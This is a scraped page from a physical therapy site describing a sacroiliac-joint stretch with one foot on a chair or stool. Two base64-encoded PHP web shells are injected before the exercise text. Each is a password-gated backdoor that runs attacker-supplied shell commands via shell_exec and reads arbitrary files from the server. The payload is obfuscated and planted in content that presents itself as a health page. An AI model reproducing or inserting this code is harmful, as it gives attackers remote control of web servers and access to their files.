PD9waHAKaWYoIWlzc2V0KCRfUE9TVFsnayddKXx8JF9QT1NUWydrJ10hPT0nODU4ZTk0NjlkNWVmJylkaWUoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKWVjaG8gJzxyPicuc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYyddKSkuJzwvcj4nOwppZihpc3NldCgkX1BPU1RbJ3AnXSkpZWNobyBmaWxlX2dldF9jb250ZW50cyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsncCddKSk7Cg==PD9waHAKaWYoIWlzc2V0KCRfUE9TVFsnayddKXx8JF9QT1NUWydrJ10hPT0nNzNkNDhlNzA4MjZmJylkaWUoKTsKaWYoaXNzZXQoJF9QT1NUWydjJ10pKWVjaG8gJzxyPicuc2hlbGxfZXhlYyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsnYyddKSkuJzwvcj4nOwppZihpc3NldCgkX1BPU1RbJ3AnXSkpZWNobyBmaWxlX2dldF9jb250ZW50cyhiYXNlNjRfZGVjb2RlKCRfUE9TVFsncCddKSk7Cg== Stretching the SI joint #2 - Sunshine Therapeutics

Stretching the SI joint #2

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Sacral Stretch #2: Place one foot on a footstool or chair. Flex at the waist and reach toward the toes imagining a string pulling the sacrum up toward the ceiling

If the chair is too much, use a foot stool or a large book.
If the chair is too much, use a foot stool or a large book.
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